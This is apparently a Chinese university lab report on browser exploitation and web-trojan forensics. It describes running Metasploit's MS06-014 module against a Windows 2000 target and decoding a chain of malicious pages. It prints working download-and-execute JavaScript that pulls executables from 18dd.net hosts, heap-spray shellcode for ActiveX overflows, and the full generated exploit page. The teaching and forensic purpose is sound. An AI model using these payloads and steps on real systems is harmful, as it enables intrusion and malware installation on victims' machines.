20251906 2025-2026-2 《网络攻防实践》第十一周作业
1.实践内容
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
(一)Web浏览器渗透攻击基础知识点
- 漏洞利用模块:掌握Metasploit框架中MS06-014浏览器漏洞渗透模块的原理与使用方法,该漏洞针对早期Windows系统浏览器存在的安全缺陷,可实现远程代码执行攻击。
- Payload载荷原理:理解远程Shell连接载荷的作用,通过配置正向/反向Shell参数,实现攻击机与靶机之间的远程会话对接,为远程命令执行提供通道。
- 网页木马构造机制:依托Metasploit的exploit攻击指令,配置攻击机服务器地址、恶意URL等核心参数,自动生成恶意网页木马脚本,利用浏览器解析漏洞触发攻击。
- 浏览器挂马攻击流程:明确“构造恶意木马脚本-靶机访问恶意链接-漏洞触发-建立远程会话-远程控制靶机”的完整浏览器渗透攻击链路。
(二)网页木马取证分析知识点
- 链式文件解密分析逻辑:掌握网页木马多级嵌套加载机制,通过start.html溯源跳转地址,逐层解析new09.htm等关联网页文件,追踪攻击链路中的所有加载文件。
- MD5哈希文件校验规则:学习32位小写MD5散列值的应用,将解密获取的文件地址进行MD5哈希运算,以哈希值为无扩展名文件名下载对应攻击文件,完成攻击样本溯源。
- 分类取证分析方法:针对网页、脚本类文件进行持续解密溯源,追踪多级攻击载荷;针对二进制程序文件,掌握静态反汇编、动态调试两种核心逆向分析手段,解析程序攻击逻辑。
- 攻击场景还原思路:通过多级文件迭代分析,完整还原网页木马的加载、触发、载荷调用的完整攻击场景,掌握网络入侵取证的核心流程。
(三)Web攻防对抗核心知识点
- 多漏洞组合攻击技术:掌握基于多款浏览器漏洞的渗透代码开发,可构造两种及以上不同浏览器漏洞的攻击代码,实现复合型网页挂马攻击。
- 攻击代码混淆技术:了解渗透代码混淆原理与实操方法,通过混淆处理隐藏原始攻击代码特征,规避基础检测机制,提升攻击隐蔽性。
- 社工攻击落地方式:学习依托邮件社工场景,将混淆后的恶意URL伪装欺骗性链接传播,掌握网页挂马的实际落地攻击手段。
- 防守溯源分析能力:掌握恶意链接提取、代码解混淆、原始渗透代码恢复的实操方法,能够精准识别攻击对应的浏览器漏洞类型与攻击目标。
2.实践过程
2.1 web浏览器渗透攻击
攻击机kali的ip为192.168.200.128

靶机win2k的ip为192.168.200.131

测试连通性


在kali中使用命令msfconsole打开metasploit

使用命令search MS06-014查找漏洞MS06-014的利用模块

使用命令use exploit/windows/browser/ie_createobject使用ie_createobject方式

使用命令show targets查看当前模块支持的攻击目标

使用命令set payload windows/shell/bind_tcp设置Payload为任意TCP连接

使用命令set URIPATH /设置URIPATH为根路径

使用命令exploit进行攻击

在浏览器中打开http://192.168.200.128:8080/

在win2kserver访问了链接之后,Metasploit成功投递并执行了payload建立了稳定的远程控制会话

输入命令sessions -i 1进入靶机的命令行环境可以直接在攻击机上控制靶机执行命令

2.2 网页木马攻击场景分析
下载start.html打开该文件并找到new09.htm

start.html中调用new09.htm是使用了相对路径,说明它们二者处于同一路径下,new09.htm的内容为
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
对new09.htm中的两个网址进行散列值计算


下载学习通中压缩包到kali后解压,打开文件23180a42a2ff1192150231b44ffdf3d3

另一个文件分析可知是base64加密,密钥也被代码标明了

\x73\x63\x72\x69\x70\x74解密是script

使用XXTEA工具对文件进行解密、

十六进制转化可得代码
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=document.createElement("object");
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write('<script src=http://aa.18dd.net/aa/1.js><\/script>')}
else{
try{var f;
var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write('<script src=http://aa.18dd.net/aa/b.js><\/script>')}}
try{var g;
var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write('<script src=http://aa.18dd.net/aa/pps.js><\/script>')}}
try{var h;
var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}
}
}
获取文件1http://aa.18dd.net/aa/1.js的MD5散列值5d7e9058a857aa2abee820d5473c5fa4

转换可得到代码
var url="http://down.18dd.net/bb/014.exe";
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);
xml.Send();
as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}
新的调用http://down.18dd.net/bb/014.exe的MD5散列值为ca4e4a1730b0f69a9b94393d9443b979
获取文件2http://aa.18dd.net/aa/b.js的MD5散列值3870c28cc279d457746b3796a262f166

解码得到var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)
找出十六进制的斜杠对应的2f再次进行转字符得到新的调用http://down.18dd.net/bb/bf.exe,MD5散列值为268cbd59fbed235f6cf6b41b92b03f8e
获取文件3http://aa.18dd.net/aa/pps.js的MD5散列值5f0b8bf0385314dbe0e5ec95e6abedc2

转成字符串
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
获得新的调用为http://down.18dd.net/bb/pps.exeMD5散列值为ff59b3b8961f502289c1b4df8c37e2a4
获取文件4http://down.18dd.net/bb/bd.cab的MD5散列值1c1d7b3539a617517c49eee4120783b2文件中是一个bd.exe文件

计算四个新调用文件的散列值发现完全相同,四个文件是完全一样的文件,脱壳后再使用IDA工具对该文件进行分析,发现该文件下载了大量的木马可执行文件
2.4 攻防对抗实践—web浏览器渗透攻击攻防
测试连通性


使用命令msfconsole打开Metasploit

使用命令search MS06-014查询发现只有一个可用的攻击模块

使用命令use 0使用该模块进行攻击

使用命令show payloads查询可用载荷

使用4号载荷,配置攻击参数set payload generic/shell_reverse_tcp、set RHOST 192.168.200.131(靶机)、set LHOST 192.168.200.128(攻击机)
使用命令exploit进行攻击,得到含有木马的网络链接

用靶机访问该网址

使用view-source:查看源码

去除空格后的代码如下
</details><html><head><title></title>
<scriptlanguage="javascript">
functionpVcQptuXtURkI(o,n)
{varr=null;
try{eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")}
catch(e){}
if(!r)
{try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")}
catch(e){}}if(!r)
{try{eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')")}catch(e){}}
if(!r){try{eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")}catch(e){}}
if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n,'')")}catch(e){}}
if(!r){try{eval("r=o"+".Ge"+"tOb"+"ject(n)")}catch(e){}}
return(r);}
functionKICnWOyGLGaPMnBBSTFqivHOpkic(a)
{vars=pVcQptuXtURkI(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
varo=pVcQptuXtURkI(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
vare=s.Environment("P"+"ro"+"ce"+"ss");
varurl=document.location+'/p'+'ay'+'lo'+'ad';varxml=null;
varbin=e.Item("T"+"E"+"M"+"P")+"\\ujOvdPBAnxoLeaHiExeg"+".e"+"xe";
vardat;try{xml=newXMLHttpRequest();}
catch(e){try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}}
if(!xml){return(0);}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}
functionKgYOUdGGjoLHKdVQmjepXovpiiN()
{var i=0;
var t=newArray(
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}',
'{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}',
'{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}',
'{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}',
'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}',
'{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}',
'{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}',
'{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}',
'{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}',
'{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}',
'{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',
'{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{vara=null;
if(t[i].substring(0,1)=='{')
{a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}catch(e){}}
if(a)
{try{varb=pVcQptuXtURkI(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");if(b){KICnWOyGLGaPMnBBSTFqivHOpkic(a);return(0);}}
catch(e){}}i++;}}
</script></head><bodyonload='KgYOUdGGjoLHKdVQmjepXovpiiN()'>KlfoGjq</body></html>
有一个可执行文件的相关操作:EONVFedsZYIKzToBkkd.exe,经查询相关资料得上述这些信息正好是MS06-014漏洞的相关信息。
3.学习中遇到的问题及解决
- 问题1:不清楚哪些地方需要算MD5值哪些地方需要算散列值
- 问题1解决方案:MD5值用于计算下一个文件的名称,散列用于对比文件是否是同一个
4.实践总结
本次实验围绕Web浏览器渗透攻击、网页木马取证分析、红蓝攻防对抗三大模块开展,系统完成了浏览器漏洞攻击实操、恶意文件溯源取证、攻防双向对抗练习,全面掌握了网页挂马攻击与防御的完整技术流程。
在渗透攻击实操环节,我熟练掌握了Metasploit框架的实操应用,能够独立调用MS06-014经典浏览器漏洞模块,配置远程Shell载荷、服务器地址与恶意URL参数,成功构造网页木马脚本。通过靶机访问恶意链接触发漏洞,实现攻击会话建立与靶机远程命令执行,直观理解了浏览器漏洞被利用、恶意代码触发、远程权限获取的核心原理,熟悉了浏览器挂马攻击的完整实操链路。
在取证分析环节,我掌握了网页木马多级链式溯源的分析方法。通过逐层解析网页跳转文件,结合32位MD5哈希算法对解密地址进行运算,通过哈希值下载对应攻击样本,并根据文件类型采取差异化分析手段,对网页脚本持续解密溯源,对二进制文件进行逆向调试分析,完整还原了网页木马的攻击加载链路,提升了网络入侵取证、恶意样本分析的实操能力。
在红蓝攻防对抗实践中,我既站在攻击方视角,掌握了多漏洞渗透代码构造、代码混淆伪装、邮件社工传播的攻击技巧;也以防守方身份,完成恶意链接提取、代码解混淆、攻击漏洞溯源分析,清晰厘清了浏览器攻防的博弈逻辑。同时深刻认识到老旧浏览器漏洞、恶意链接社工攻击的高危风险,明白代码混淆、多级隐蔽加载是当下网页挂马攻击的常用隐蔽手段。
通过本次实验,我不仅夯实了Web渗透、流量取证、逆向分析的实操技能,更树立了攻防结合的网络安全思维。深刻意识到终端浏览器版本老旧、随意点击陌生链接是终端被入侵的重要原因,进一步强化了及时修复浏览器漏洞、甄别陌生链接、做好恶意样本溯源审计的安全防护意识,同时始终恪守合法合规开展网络安全实验的准则,建立了以防为主、主动防御的网络安全防护理念。
浙公网安备 33010602011771号